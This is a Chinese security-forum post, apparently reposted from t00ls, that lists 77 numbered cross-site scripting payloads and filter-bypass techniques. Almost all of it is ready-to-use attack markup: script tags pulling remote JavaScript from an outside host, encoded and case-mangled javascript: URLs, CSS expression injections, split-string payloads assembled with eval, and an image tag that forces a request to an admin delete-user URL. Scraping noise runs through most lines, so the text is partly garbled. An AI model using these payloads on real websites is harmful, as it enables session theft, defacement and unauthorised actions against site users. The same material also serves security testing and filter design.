貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
( r) s+ C' V+ a' z- [(1)普通的XSS JavaScript注入
Q7 ~6 e0 ^$ b* f, w; S- j |<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT> n. }( A2 i+ V+ i4 o
(2)IMG标签XSS使用JavaScript命令# i6 N% r8 T0 u6 [) I
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>$ M8 H) z6 f2 c, F1 ]) G
(3)IMG标签无分号无引号, ^) u# Z7 ^& v# p, P" c+ M
<IMG SRC=javascript:alert(‘XSS’)>, D8 M, ?7 g2 }8 v# x
(4)IMG标签大小写不敏感4 @7 T8 a: t7 }8 a+ Y
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>) }# u* c) k8 K2 e2 D
(5)HTML编码(必须有分号)
" n2 j! v- F1 h- ~+ ~4 t5 F( d<IMG SRC=javascript:alert(“XSS”)>
! t5 ]* d1 g3 C8 U(6)修正缺陷IMG标签: |7 h+ j) r+ ^
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
: n6 d8 m1 z, B5 k! W/ b% D% E1 f* i Y7 j1 E# ~3 D
; o% d5 H. d) ~(7)formCharCode标签(计算器)
. c2 c# s- ]9 ^( _% y: Z1 X<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
4 M& i1 m, o( U+ j( e/ k(8)UTF-8的Unicode编码(计算器)6 J# J. ?6 w9 H/ {; y8 K
<IMG SRC=jav..省略..S')>
1 Y' y0 x" E8 |(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
; x* |( _/ k% O; T; Y5 }& }<IMG SRC=jav..省略..S')>
- Y' T+ [8 s+ e7 B* I3 o7 V- Y(10)十六进制编码也是没有分号(计算器)
/ V2 `1 l _7 N, ?6 n<IMG SRC=java..省略..XSS')>/ @( C6 w* w8 H0 i
(11)嵌入式标签,将Javascript分开
& d" M! L! ]& E/ i. j<IMG SRC=”jav ascript:alert(‘XSS’);”>* P- H/ M1 i+ W6 g2 C$ L9 Z
(12)嵌入式编码标签,将Javascript分开
9 d# L$ T6 n3 L<IMG SRC=”jav ascript:alert(‘XSS’);”>
' `+ a1 n3 r4 H1 ](13)嵌入式换行符
3 S! m8 X7 S! M |$ e$ ]<IMG SRC=”jav ascript:alert(‘XSS’);”>7 E( o2 h! k. C; V6 Q9 F
(14)嵌入式回车# B( X8 Q; J* ^6 t, ]4 Q( |
<IMG SRC=”jav ascript:alert(‘XSS’);”>" w' B }- m/ U7 A, a
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
7 J% C) V+ W" E1 @) O6 g" J<IMG SRC=”javascript:alert(‘XSS‘)”>
e/ m4 `' n1 Z8 I2 t. a- Z8 \(16)解决限制字符(要求同页面)% { D: M6 ^- g
<script>z=’document.’</script>
4 f, f* c, D4 G1 T# F3 {% o* c3 R<script>z=z+’write(“‘</script>
0 S0 q; w% d( A<script>z=z+’<script’</script>
) ^" f& @. K# ?+ E<script>z=z+’ src=ht’</script>
* \. Y1 f q1 U' q<script>z=z+’tp://ww’</script>0 M. {7 X4 C& o b ?9 V7 B8 ]# }
<script>z=z+’w.shell’</script>
, ?; w) ~0 R+ h) @<script>z=z+’.net/1.’</script>
! ^; P* W- d0 ^4 A<script>z=z+’js></sc’</script>
& e# t9 w! L) z7 D<script>z=z+’ript>”)’</script>
* g- |) i/ S* G+ R' t3 {<script>eval_r(z)</script>$ {9 K. i& V* ~( i% K7 G0 i
(17)空字符12-7-1 T00LS - Powered by Discuz! Board: Z" R" F6 z. R* G7 t& D
https://www.t00ls.net/viewthread ... table&tid=15267 2/6
0 t) t% D+ `; k. z6 o" F pperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
, m- k* B- Y% E( p' G(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
5 A8 g# f+ C x6 P5 }perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out7 Y/ [( ^ l, n
(19)Spaces和meta前的IMG标签1 b$ d9 a" c% I
<IMG SRC=” javascript:alert(‘XSS’);”>: X$ n# Y, U! {% B7 N
(20)Non-alpha-non-digit XSS
p1 P* [' j; ^9 M3 M X4 X6 c<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>$ h0 {1 s- B& W) |2 S
(21)Non-alpha-non-digit XSS to 2( C6 f% X9 v! |& C4 e
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>) I. s4 P7 k( t) ]* [/ ^2 A
(22)Non-alpha-non-digit XSS to 3$ P6 U9 z% z0 B: `+ i: z- [
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>8 c0 n4 S. D M% H8 Y+ P0 l3 D2 ^
(23)双开括号: O! p1 l% l+ i9 J$ ]% S- m5 ~
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
! M1 L$ X+ D% k. C% V(24)无结束脚本标记(仅火狐等浏览器)
r, k# w4 ^/ z" `/ e5 m: r<SCRIPT SRC=http://3w.org/XSS/xss.js?<B># d9 l. _3 y: ^# [6 X
(25)无结束脚本标记2
& O/ n! D# m0 {% f+ ?<SCRIPT SRC=//3w.org/XSS/xss.js>3 l( d9 h; C0 N+ g( H
(26)半开的HTML/JavaScript XSS6 |7 M: J6 q: u9 z
<IMG SRC=”javascript:alert(‘XSS’)”
. b+ }/ y0 ]+ a% F- D(27)双开角括号
1 t! ?! ?; g. i3 a7 A# Q) v<iframe src=http://3w.org/XSS.html <
$ ^3 T& s* u" v$ N/ j' ?" ^2 p(28)无单引号 双引号 分号
2 e- [7 Y1 _5 E# v4 c( Q2 f' E0 m& c<SCRIPT>a=/XSS/3 z3 D i, v& r3 M
alert(a.source)</SCRIPT>
3 z- t) O9 R8 e/ B% A(29)换码过滤的JavaScript! [2 k; b, ~1 d
\”;alert(‘XSS’);//
& O& E% ^9 @9 `& s: t; a(30)结束Title标签
. `" ^6 \4 I, ]; n/ z</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>. F% e1 ~# O7 `* A
(31)Input Image
; Q& n3 S& G& d x' S, d<INPUT SRC=”javascript:alert(‘XSS’);”>
' q( ? i4 _% C! W(32)BODY Image
0 b1 X, f) O1 f$ B( ?<BODY BACKGROUND=”javascript:alert(‘XSS’)”>4 k- i! @& |2 ?1 v
(33)BODY标签
6 r; S- D s0 j# b1 x( T0 W<BODY(‘XSS’)>
0 e+ x$ d( j' A7 r(34)IMG Dynsrc
a9 A" P2 r! r5 I/ n0 J/ O<IMG DYNSRC=”javascript:alert(‘XSS’)”>
- e: `8 h- R/ _9 f: c7 Q( c(35)IMG Lowsrc* u# L. e+ W8 p
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
$ y8 @2 _0 s$ ?0 X$ A7 J(36)BGSOUND
8 N& F' ~% P" F1 \: v2 k<BGSOUND SRC=”javascript:alert(‘XSS’);”>
' P- S0 U7 a# h2 K! |0 w* L(37)STYLE sheet
8 y `6 _: \# d1 Y6 A<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>" N7 U! ]& n# o# s1 x
(38)远程样式表
6 w4 Y _7 J/ Q: A2 ~1 d<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
- ` e d! ~& n: f0 v1 n(39)List-style-image(列表式)
5 _, @6 H: C2 W+ h7 f" a<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
; A/ m2 g% C6 c4 s% R; ](40)IMG VBscript
+ |# k x1 e. ` ?5 H+ W<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS8 `9 t# I( E! X! r9 z) x
(41)META链接url
; Z* s( \; o$ M8 `, B/ \
' f# ^* M5 s6 Q0 \$ g: y2 W# w. Z" i0 N) _
<META HTTP-EQUIV=”refresh” CONTENT=”0;+ \* y- P- u3 Y4 N5 k1 k0 h
URL=http://;URL=javascript:alert(‘XSS’);”>
6 z1 A ^, e$ I, a(42)Iframe+ N$ o# M) n% O- e: e) ^
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>' ^- A4 C7 k" g# S
(43)Frame, J2 @, i ?! y( b# W
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board
; j c- t" t; K8 f# @https://www.t00ls.net/viewthread ... table&tid=15267 3/6
6 U% b6 N# t7 R(44)Table
+ g) R& R8 {1 S9 E/ E; P<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
% w; i% x( Z' L; g' v(45)TD% L. u. g/ |9 d# N
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
- m$ g+ L: U" r s) b/ s0 t: i(46)DIV background-image. B: U3 f; X0 }7 m7 C$ o
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>- H* n8 c- b9 J
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-
$ h( V. G7 H* o% I% ~( q/ A3 t8&13&12288&65279): v h8 O: |/ D) F7 @
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
& _. f$ y) v, @6 O7 U' Q2 M(48)DIV expression. W( K, D1 k$ B$ a+ }: e
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>* d$ \2 O- v! }+ z7 ?
(49)STYLE属性分拆表达
# ` z* m. I/ P: ^! Z) V' }<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>% X1 P: F, u% W. C0 j# D) F
(50)匿名STYLE(组成:开角号和一个字母开头)* Y$ a m* E, P9 W# \
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>8 Z, i+ u/ R8 G' J! o
(51)STYLE background-image. E% w' m- L: k4 _5 S @6 j6 r
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A
4 r/ j; F2 [7 JCLASS=XSS></A>/ ^. i( s0 A; ], H5 y
(52)IMG STYLE方式
4 Z0 F# Q) `' V" jexppression(alert(“XSS”))’># l7 {3 K) j! ?2 G* S& k
(53)STYLE background
# I( v) l9 f2 a<STYLE><STYLE
: \2 O6 D: w4 \8 mtype=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
& u$ Z( t/ U- w% B, z' J(54)BASE
4 W# F2 U$ n! O l<BASE HREF=”javascript:alert(‘XSS’);//”>5 j% s% B; b4 f, k g7 u
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS# B, u8 }. |& z* Z; C
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
& S) }! `( E+ E, @, o! @3 d(56)在flash中使用ActionScrpt可以混进你XSS的代码7 y5 s H) U. {2 Y5 e
a=”get”;+ q8 p+ \/ C% a U4 {' O4 n" L. p% S
b=”URL(\”"; z* Q# W$ \, x# f' s( l
c=”javascript:”;
! |& v# r) _; }, b* Md=”alert(‘XSS’);\”)”;
, f5 ~9 H) u6 }% \) a9 Leval_r(a+b+c+d);5 Y2 \6 l0 I Z u k# M
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上" n7 |; O- J$ `6 Y
<HTML xmlns:xss>
/ s. i" @- V2 i3 }2 j9 [<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>4 R8 z8 T# k. y# [# _; [$ _4 l( }" @3 O
<xss:xss>XSS</xss:xss>) Z) s" g$ F' [6 K& Z, x( R
</HTML>
2 O& l0 I3 R! k3 t7 r8 N; c& V) o(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
. P" N, W' L( j/ {# a<SCRIPT SRC=””></SCRIPT>3 T/ K& ~ T2 _' `9 k9 |
(59)IMG嵌入式命令,可执行任意命令: j% z7 K* n& j8 f$ C+ {
<IMG SRC=”http://www.XXX.com/a.php?a=b”>
1 `+ c. n! {/ Z3 P(60)IMG嵌入式命令(a.jpg在同服务器)
/ M9 d7 a# _0 R2 b* IRedirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
2 _: D. L& K) \' q0 w/ U+ ^(61)绕符号过滤" q" h/ P; _& u* f ]+ I+ Q
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
5 a8 O) c& S5 A% W3 `6 P(62)$ U* t4 F* {" w% z4 K
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>* S* m1 Z# H: E s) Q
(63)& k& x9 V+ o2 Z+ Z' j4 k5 q
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT># d/ O5 D. x. O4 g1 \* q
(64)
8 Z! v0 U5 n4 b) {2 u2 m<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
; [% |0 ?2 C" d9 j(65)1 O/ d* i2 r6 t) y4 s5 i6 r8 R
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
; Q- U+ C2 }* _4 H; M(66)12-7-1 T00LS - Powered by Discuz! Board% ^; g4 B2 L: M% j# @
https://www.t00ls.net/viewthread ... table&tid=15267 4/6$ V6 V. O$ z# b. I8 i; ?) k: |
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
- v0 } l @4 W(67)4 b. _" m4 v$ M" Q6 L% b# t# s
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”>& I1 M2 D7 W+ I( Y: U
</SCRIPT>3 t6 F' |$ B1 p/ i/ a; R
(68)URL绕行
6 ^! S8 d; X. B7 I% T8 j<A HREF=”http://127.0.0.1/”>XSS</A>' {! o& D) y7 ~+ c7 z
(69)URL编码
( J* S1 J1 u3 g<A HREF=”http://3w.org”>XSS</A>+ J" {5 d: Y) c8 a+ E3 w
(70)IP十进制
, c G6 L3 o* Y/ i& S<A HREF=”http://3232235521″>XSS</A>
: N( d) e' @/ K( `(71)IP十六进制
2 q0 E- ^7 V; K6 P% ]8 q# I/ \! X<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
6 y6 L/ N1 a: c w9 g(72)IP八进制8 e3 M3 z+ G p
<A HREF=”http://0300.0250.0000.0001″>XSS</A>1 V% u z) V/ ~/ v3 F
(73)混合编码( p$ L& k2 S$ `+ K8 |( J% k
<A HREF=”h# y4 g, h2 \; E5 t7 R `% }
tt p://6 6.000146.0×7.147/”">XSS</A>
. G: K+ m7 c$ Z/ t2 j# E& e(74)节省[http:]! {: @4 G: |, U" _7 f
<A HREF=”//www.google.com/”>XSS</A>
$ ^: ~% i; |5 E0 F(75)节省[www]
' n5 g% B4 z; m0 p* W<A HREF=”http://google.com/”>XSS</A>! L% Z$ G9 w5 @3 e+ C% n+ i
(76)绝对点绝对DNS, q* [7 q( `* s$ E- p% E
<A HREF=”http://www.google.com./”>XSS</A>5 R7 l( N( |6 r& Q
(77)javascript链接7 B# Q/ k. q t' n6 _
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
# e6 ]5 J/ M$ b9 n1 ^; k
% J& T: @) q7 z# ]2 C6 D0 u8 ^) ^原文地址:http://fuzzexp.org/u/0day/?p=14
# U( ]0 g5 j/ g( @- v+ ], u5 p( V9 q9 q( e1 B
|